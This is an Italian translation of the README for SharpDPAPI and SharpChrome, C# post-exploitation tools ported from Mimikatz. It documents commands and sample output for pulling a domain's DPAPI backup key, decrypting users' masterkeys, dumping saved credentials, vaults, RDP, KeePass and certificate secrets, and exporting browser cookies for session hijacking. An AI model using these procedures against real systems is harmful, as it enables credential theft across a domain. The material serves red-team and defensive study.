
SharpDPAPI è un porting in C# di alcune funzionalità DPAPI di Mimikatz.
SharpDPAPI è un port in C# di alcune funzionalità DPAPI dal progetto Mimikatz di @gentilkiwi.
Non ho ideato questa logica, si tratta semplicemente di un port da Mimikatz per comprendere meglio il processo e renderlo operativo per adattarlo al nostro flusso di lavoro.
Il sottoprogetto SharpChrome è un adattamento del lavoro di @gentilkiwi e @djhohnstein, in particolare del suo progetto SharpChrome. Tuttavia, questa versione di SharpChrome utilizza una versione diversa della libreria SQL in C# che supporta l'apertura senza blocco. SharpChrome è creato come progetto separato in SharpDPAPI a causa delle dimensioni della libreria SQLite utilizzata.
Sia Chrome che i browser Edge più recenti basati su Chromium possono essere analizzati con SharpChrome.
SharpChrome utilizza anche una versione minimizzata del codice BCrypt P/Invoke di @AArnott rilasciato sotto licenza MIT.
Se non hai familiarità con DPAPI, dai un'occhiata a questo post per ulteriori informazioni di base. Per maggiori informazioni su Credenziali e Vault in relazione a DPAPI, consulta la voce wiki di Benjamin sull'argomento.
@harmj0y è l'autore principale di questo port.
SharpDPAPI è concesso in licenza secondo i termini della licenza BSD 3-Clause.
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.20.0
Recupera la chiave di backup DPAPI di un controller di dominio, specificando opzionalmente un DC e un file di output:
SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
Il comando *search* cercherà potenziali blob DPAPI nel registro, file, cartelle e blob base64:
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]
Analisi Machine/SYSTEM:
machinemasterkeys - analizza tutti i file masterkey di macchina raggiungibili (si eleva a SYSTEM per recuperare il segreto LSA DPAPI_SYSTEM)
machinecredentials - utilizza 'machinemasterkeys' e poi analizza i file Credential di macchina
machinevaults - utilizza 'machinemasterkeys' e poi analizza i Vault di macchina
machinetriage - esegue i comandi 'machinecredentials' e 'machinevaults'
Analisi Utente:
Argomenti per il comando 'masterkeys':
/target:FILE/cartella - analizza una masterkey specifica o una cartella piena di masterkey (altrimenti analizza le masterkey locali)
/pvk:BASE64... - utilizza un file di chiave privata di dominio DPAPI in base64 per decrittare prima le masterkey utente raggiungibili
/pvk:key.pvk - utilizza un file di chiave privata di dominio DPAPI per decrittare prima le masterkey utente raggiungibili
/password:X - decritta le masterkey dell'utente target usando una password in chiaro (funziona in remoto)
/ntlm:X - decritta le masterkey dell'utente target usando un hash NTLM (funziona in remoto)
/credkey:X - decritta le masterkey dell'utente target usando una credkey DPAPI (SHA1 di dominio o locale, funziona in remoto)
/rpc - decritta le masterkey dell'utente target chiedendo al controller di dominio di farlo
/server:SERVER - analizza un server remoto, presupponendo accesso amministrativo
/hashes - output degli hash del file usermasterkey in formato JTR/Hashcat (nessuna decrittazione)
Argomenti per i comandi credentials|vaults|rdg|keepass|triage|blob|ps:
Decrittazione:
/unprotect - forza l'uso di CryptUnprotectData() per i comandi 'ps', 'rdg' o 'blob'
/pvk:BASE64... - utilizza un file di chiave privata di dominio DPAPI in base64 per decrittare prima le masterkey utente raggiungibili
/pvk:key.pvk - utilizza un file di chiave privata di dominio DPAPI per decrittare prima le masterkey utente raggiungibili
/password:X - decritta le masterkey dell'utente target usando una password in chiaro (funziona in remoto)
/ntlm:X - decritta le masterkey dell'utente target usando un hash NTLM (funziona in remoto)
/credkey:X - decritta le masterkey dell'utente target usando una credkey DPAPI (SHA1 di dominio o locale, funziona in remoto)
/rpc - decritta le masterkey dell'utente target chiedendo al controller di dominio di farlo
GUID1:SHA1 ... - utilizza una o più masterkey GUID:SHA1 per la decrittazione
/mkfile:FILE - utilizza un file contenente una o più masterkey GUID:SHA1 per la decrittazione
Targeting:
/target:FILE/cartella - analizza una posizione specifica di file 'Credentials', '.rdg|RDCMan.settings', 'blob' o 'ps', o una cartella 'Vault'
/server:SERVER - analizza un server remoto, presupponendo accesso amministrativo
Nota: deve essere usato con /pvk:KEY o /password:X
Nota: non applicabile ai comandi 'blob' o 'ps'
Analisi Certificati:
Argomenti per il comando 'certificates':
/showall - mostra tutti i file di chiave privata decrittati, non solo quelli collegati ai certificati installati (predefinito)
/machine - utilizza l'archivio macchina locale per l'analisi dei certificati
/mkfile | /target - per l'analisi /machine
[tutti gli argomenti di decrittazione dall'Analisi Utente sopra]
Nota: nella maggior parte dei casi, usa semplicemente *triage* se miri ai segreti DPAPI utente e *machinetriage* se miri ai segreti DPAPI SYSTEM.
Queste funzioni racchiudono tutte le altre funzioni applicabili che possono essere eseguite automaticamente.
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_
|
v1.9.0
Recupera la chiave di backup DPAPI di un controller di dominio, specificando opzionalmente un DC e un file di output:
SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
Argomenti globali per i comandi 'cookies', 'logins' e 'statekeys':
Decrittazione:
/unprotect - forza l'uso di CryptUnprotectData() (predefinito per esecuzione non privilegiata)
/pvk:BASE64... - utilizza un file di chiave privata di dominio DPAPI in base64 per decrittare prima le masterkey utente raggiungibili
/pvk:key.pvk - utilizza un file di chiave privata di dominio DPAPI per decrittare prima le masterkey utente raggiungibili
/password:X - decritta le masterkey dell'utente target usando una password in chiaro (funziona in remoto)
/ntlm:X - decritta le masterkey dell'utente target usando un hash NTLM (funziona in remoto)
/prekey:X - decritta le masterkey dell'utente target usando una prekey DPAPI (SHA1 di dominio o locale, funziona in remoto)
/rpc - decritta le masterkey dell'utente target chiedendo al controller di dominio di farlo
GUID1:SHA1 ... - utilizza una o più masterkey GUID:SHA1 per la decrittazione
/statekey:X - una chiave di stato AES decrittata (dal comando 'statekey')
Targeting:
/target:FILE - analizza una posizione specifica di file 'Cookies', 'Login Data' o 'Local State'
/target:C:\Users\X\ - analizza una cartella utente specifica per qualsiasi comando specificato
/server:SERVER - analizza un server remoto, presupponendo accesso amministrativo (nota: deve essere usato con /pvk:KEY)
/browser:X - analizza 'chrome' (predefinito), (basato su chromium) 'edge' o 'slack'
Output:
/format:X - visualizzazione 'csv' (predefinita) o 'table'
/showall - mostra le voci di Login Data con password nulle e Cookie scaduti invece di filtrarli (predefinito)
/consoleoutfile:X - output di tutta l'uscita console su un file su disco
Argomenti specifici del comando 'cookies':
/cookie:"REGEX" - restituisce solo i cookie il cui nome corrisponde alla regex fornita
/url:"REGEX" - restituisce solo i cookie la cui URL corrisponde alla regex fornita
/format:json - output dei valori dei cookie in un formato di importazione JSON per EditThisCookie. Ideale se usato con una regex!
/setneverexpire - imposta le scadenze per l'output dei cookie a ora + 100 anni (per output json)
Uno degli obiettivi di SharpDPAPI è rendere operativo il lavoro DPAPI di Benjamin in modo che si adatti al nostro flusso di lavoro.
Come si utilizza esattamente il set di strumenti dipende dalla fase dell'impegno in cui ti trovi. In generale, si divide in "ho compromesso il dominio o no".
Se sono stati ottenuti privilegi di amministratore di dominio (o equivalenti), la chiave di backup DPAPI del dominio può essere recuperata con il comando backupkey (o con Mimikatz). Questa chiave privata di dominio non cambia mai e può decrittare qualsiasi masterkey DPAPI per gli utenti del dominio. Ciò significa che, data una chiave di backup DPAPI del dominio, un attaccante può decrittare le masterkey di qualsiasi utente del dominio, che possono poi essere utilizzate per decrittare qualsiasi Vault/Credenziali/Login di Chrome/altri blob DPAPI/ecc. La chiave recuperata con il comando backupkey può essere utilizzata con i comandi masterkeys, credentials, vaults, rdg o triage.
Se non sono stati ottenuti privilegi DA, l'uso del comando sekurlsa::dpapi di Mimikatz recupererà le mappature {GUID}:SHA1 delle masterkey caricate (utente e SYSTEM) su un dato sistema (suggerimento: eseguire dpapi::cache dopo l'estrazione delle chiavi ti fornirà una bella tabella). Se converti queste chiavi in un formato del tipo {GUID1}:SHA1 {GUID2}:SHA1..., possono essere fornite ai comandi credentials, vaults, rdg o triage. Ciò consente di analizzare tutti i file Credential/Vault su un sistema per qualsiasi utente attualmente connesso, senza dover decrittare file per file.
In alternativa, se puoi fornire la password, l'hash NTLM o la prekey DPAPI di un utente target per i comandi utente con rispettivamente /password:X, /ntlm:X o /prekey:X. Il campo dpapi dell'output sekurlsa::msv di Mimikatz per gli utenti di dominio può essere usato come /prekey, mentre il campo sha1 dell'output sekurlsa::msv può essere usato come /prekey per gli utenti locali.
Per decrittare i file RDG/RDCMan.settings con il comando rdg, il flag /unprotect userà CryptUnprotectData() per decrittare qualsiasi password RDP salvata, se il comando viene eseguito nel contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza bisogno di toccare LSASS. Perché questo approccio non è usato per credenziali/vault, consulta la documentazione di Benjamin qui.
Per l'analisi DPAPI specifica della macchina, i comandi machinemasterkeys|machinecredentials|machinevaults|machinetriage faranno l'equivalente macchina dell'analisi DPAPI utente. Se in un contesto elevato (cioè, hai bisogno di diritti amministrativi locali), SharpDPAPI si eleverà a privilegi SYSTEM per recuperare il segreto LSA "DPAPI_SYSTEM", che viene poi utilizzato per decrittare eventuali masterkey DPAPI di macchina scoperte. Queste chiavi vengono poi utilizzate come tabelle di ricerca per credenziali/vault/ecc. di macchina.
Per ulteriori informazioni offensive su DPAPI, vedi qui.
SharpChrome è un'implementazione specifica per Chrome di SharpDPAPI in grado di decrittare/analizzare cookie e login. È creato come progetto separato in SharpDPAPI a causa delle dimensioni della libreria SQLite utilizzata.
Poiché i Cookie/Login Data di Chrome sono salvati senza CRYPTPROTECT_SYSTEM, CryptUnprotectData() torna disponibile. Se SharpChrome viene eseguito da un contesto non elevato, tenterà di decrittare eventuali login/cookie per l'utente corrente usando CryptUnprotectData(). Una tabella di lookup /pvk:[BASE64|file.pvk], {GUID}:SHA1, /password:X, /ntlm:X, /prekey:X o /mkfile:FILE di valori {GUID}:SHA1 può anche essere utilizzata per decrittare i valori. Inoltre, la libreria SQL in C# utilizzata (con alcune modifiche) supporta l'apertura senza blocco, il che significa che Chrome non deve essere chiuso / i file target non devono essere copiati in un'altra posizione.
In alternativa, se puoi fornire la password, l'hash NTLM o la prekey DPAPI di un utente target per i comandi utente con rispettivamente /password:X, /ntlm:X o /prekey:X. Il campo dpapi dell'output sekurlsa::msv di Mimikatz per gli utenti di dominio può essere usato come /prekey, mentre il campo sha1 dell'output sekurlsa::msv può essere usato come /prekey per gli utenti locali.
Se Chrome è versione 80+, una chiave di stato AES è memorizzata in AppData\Local\Google\Chrome\User Data\Local State - questa chiave è protetta con DPAPI, quindi possiamo usare CryptUnprotectData()/tabelle di lookup pvk/masterkey per decrittarla. Questa chiave AES viene poi utilizzata per proteggere nuove voci di cookie e dati di login. Questo è anche il processo quando viene specificato /browser:edge o /browser:brave, per l'analisi dei browser Edge più recenti basati su Chromium.
Per impostazione predefinita, cookie e login vengono visualizzati come csv - questo può essere cambiato con /format:table per output tabellare e /format:json specificamente per i cookie. L'opzione json produce cookie in un formato json che può essere importato nell'estensione Chrome EditThisCookie per un facile riutilizzo.
Il comando cookies ha anche gli argomenti /cookie:REGEX e /url:REGEX per restituire solo nomi di cookie o URL corrispondenti alla regex fornita. Ciò è utile con /format:json per clonare facilmente l'accesso a siti specifici.
File specifici di cookie/login/statekey possono essere specificati con /target:X, e una cartella utente può essere specificata con /target:C:\Users\USER\ per qualsiasi comando di analisi.
Il comando masterkeys cercherà eventuali file masterkey utente leggibili e li decritterà usando una chiave di backup DPAPI di dominio fornita. Restituirà un insieme di mappature masterkey {GUID}:SHA1.
/password:X può essere usato per decrittare le masterkey correnti di un utente. Nota che per macchine unite al dominio, la password può essere fornita in formato testo semplice o NTLM. Se /target viene fornito insieme a /password, deve essere specificato anche /sid:X con il SID di dominio completo dell'utente.
La chiave di backup di dominio può essere in forma base64 (/pvk:BASE64...) o in forma di file (/pvk:key.pvk).
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Triage User Masterkey Files
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...
Se non viene specificato /password o /pvk, puoi passare il flag /hashes per scaricare gli hash delle masterkey in formato John/Hashcat. In questa modalità, gli hash vengono stampati nel formato {GUID}:DPAPImk.
La chiave Preferred viene anche analizzata per evidenziare la masterkey preferita corrente, in modo che non si sprechi tempo a craccare chiavi più vecchie.
C:\Temp>SharpDPAPI.exe masterkeys /hashes
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Action: User DPAPI Masterkey File Triage
[*] Will dump user masterkey hashes
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] Preferred master keys:
C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
[*] User master key hashes:
{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...
Un file credential specifico (o una cartella di credenziali) può essere specificato con /target:FILE o /target:C:\Folder\. Se viene specificato un file, sono richiesti valori {GUID}:SHA1, e se viene specificata una cartella, a) devono essere forniti valori {GUID}:SHA1 oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.
Se eseguito da un contesto elevato, i file Credential di TUTTI gli utenti verranno esaminati, altrimenti verranno elaborati solo i file Credential dell'utente corrente.
Utilizzando mappature masterkey di dominio {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
Utilizzando una chiave di backup del dominio DPAPI per decriptare prima eventuali masterkey rilevabili:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
Il comando vaults cercherà i Vault e a) li decripta con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di una o più mappature {GUID}:SHA1 masterkey, c) utilizza una chiave di backup del dominio DPAPI (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima eventuali masterkey utente (alla masterkeys), o d) una /password:X per decriptare eventuali masterkey utente, che vengono poi utilizzate come tabella di decriptazione. Le mappature GUID DPAPI possono essere recuperate con il comando sekurlsa::dpapi di Mimikatz.
La cartella Policy.vpol nella cartella Vault viene decriptata con le chiavi DPAPI fornite per recuperare le chiavi di decriptazione AES associate, che vengono poi utilizzate per decriptare eventuali file .vcrd associati.
Una cartella vault specifica può essere specificata con /target:C:\Folder\. In questo caso, a) devono essere forniti valori {GUID}:SHA1 oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.
Utilizzando mappature masterkey di dominio {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
Utilizzando una chiave di backup del dominio DPAPI per decriptare prima eventuali masterkey rilevabili:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
Utilizzando una chiave di backup del dominio DPAPI con una cartella specificata (es. triage "offline"):
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Target Vault Folder: C:\Temp\test\
[*] Triaging Vault folder: C:\Temp\test\
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password
Il comando rdg cercherà i file RDCMan.settings per l'utente corrente (o, se elevato, per tutti gli utenti) e a) li decripta con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di una o più mappature {GUID}:SHA1 masterkey, c) utilizza una chiave di backup del dominio DPAPI (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima eventuali masterkey utente (alla masterkeys), o d) una /password:X per decriptare eventuali masterkey utente, che vengono poi utilizzate come tabella di decriptazione. Le mappature GUID DPAPI possono essere recuperate con il comando sekurlsa::dpapi di Mimikatz.
Il flag /unprotect utilizzerà CryptUnprotectData() per decriptare eventuali password RDP salvate, se il comando viene eseguito dal contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza dover toccare LSASS. Per il motivo per cui questo approccio non viene utilizzato per credentials/vaults, vedere la documentazione qui di Benjamin.
Un file RDCMan.settings specifico, file .RDC (o cartella di file .RDG) può essere specificato con /target:FILE o /target:C:\Folder\. Se viene specificato un file, sono richiesti valori {GUID}:SHA1 (o /unprotect), e se viene specificata una cartella, a) devono essere forniti valori {GUID}:SHA1 oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.
Questo comando decripta qualsiasi informazione di password salvata sia dal file RDCMan.settings che da qualsiasi file .RDG referenziato dal file RDCMan.settings.
Utilizzando /unprotect per decriptare eventuali password trovate:
C:\Temp>SharpDPAPI.exe rdg /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
Utilizzando mappature masterkey di dominio {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
Utilizzando una chiave di backup del dominio DPAPI per decriptare prima eventuali masterkey rilevabili:
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.3.0
[*] Action: RDG Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging RDCMan.settings Files for ALL users
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm.a
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
Il comando keepass cercherà i file ProtectedUserKey.bin di KeePass per l'utente corrente (o, se elevato, per tutti gli utenti) e a) li decripta con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di una o più mappature {GUID}:SHA1 masterkey, c) utilizza una chiave di backup del dominio DPAPI (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima eventuali masterkey utente (alla masterkeys), o d) una /password:X per decriptare eventuali masterkey utente, che vengono poi utilizzate come tabella di decriptazione. Le mappature GUID DPAPI possono essere recuperate con il comando sekurlsa::dpapi di Mimikatz.
Il flag /unprotect utilizzerà CryptUnprotectData() per decriptare i byte della chiave, se il comando viene eseguito dal contesto utente che ha salvato le password. Questo può essere fatto da un contesto non privilegiato, senza dover toccare LSASS. Per il motivo per cui questo approccio non viene utilizzato per credentials/vaults, vedere la documentazione qui di Benjamin.
Un file ProtectedUserKey.bin specifico, file .RDC (o cartella di file .RDG) può essere specificato con /target:FILE o /target:C:\Folder\. Se viene specificato un file, sono richiesti valori {GUID}:SHA1 (o /unprotect), e se viene specificata una cartella, a) devono essere forniti valori {GUID}:SHA1 oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.
I byte decriptati del file della chiave possono essere utilizzati con la versione modificata di KeePass in KeeThief.
Utilizzando /unprotect per decriptare eventuali materiali chiave trovati:
C:\Temp> SharpDPAPI.exe keepass /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Action: KeePass Triage
[*] Using CryptUnprotectData() for decryption.
[*] Triaging KeePass ProtectedUserKey.bin files for current user
File : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
Accessed : 3/1/2021 1:38:22 PM
Modified : 1/4/2021 5:49:49 PM
guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
size : 210
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Key Bytes : 39 2E 63 EF 0E 37 E8 5C 34 ...
SharpDPAPI completed in 00:00:00.0566660
Il comando certificates cercherà le chiavi private dei certificati DPAPI crittografati dall'utente e a) le decripta con qualsiasi masterkey "{GUID}:SHA1" passata, b) un /mkfile:FILE di una o più mappature {GUID}:SHA1 masterkey, c) utilizza una chiave di backup del dominio DPAPI (/pvk:BASE64... o /pvk:key.pvk) per decriptare prima eventuali masterkey utente (alla masterkeys), o d) una /password:X per decriptare eventuali masterkey utente, che vengono poi utilizzate come tabella di decriptazione. Le mappature GUID DPAPI possono essere recuperate con il comando sekurlsa::dpapi di Mimikatz.
Il flag /unprotect utilizzerà CryptUnprotectData() per decriptare le chiavi private, se il comando viene eseguito dal contesto utente dei certificati a cui si sta cercando di accedere. Questo può essere fatto da un contesto non privilegiato, senza dover toccare LSASS. Per il motivo per cui questo approccio non viene utilizzato per credentials/vaults, vedere la documentazione qui di Benjamin.
Un certificato specifico può essere specificato con /target:FILE o /target:C:\Folder\. In entrambi i casi, sono richiesti valori {GUID}:SHA1 (o /unprotect) oppure b) la cartella deve contenere masterkey DPAPI e deve essere fornita una chiave di backup del dominio /pvk.
Per impostazione predefinita, vengono visualizzate solo le chiavi private collegabili a un certificato installato associato. Il comando /showall visualizzerà TUTTE le chiavi private decriptate.
Utilizzare il flag /cng per le chiavi private CNG (default è capi).
Utilizzando mappature masterkey di dominio {GUID}:SHA1:
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
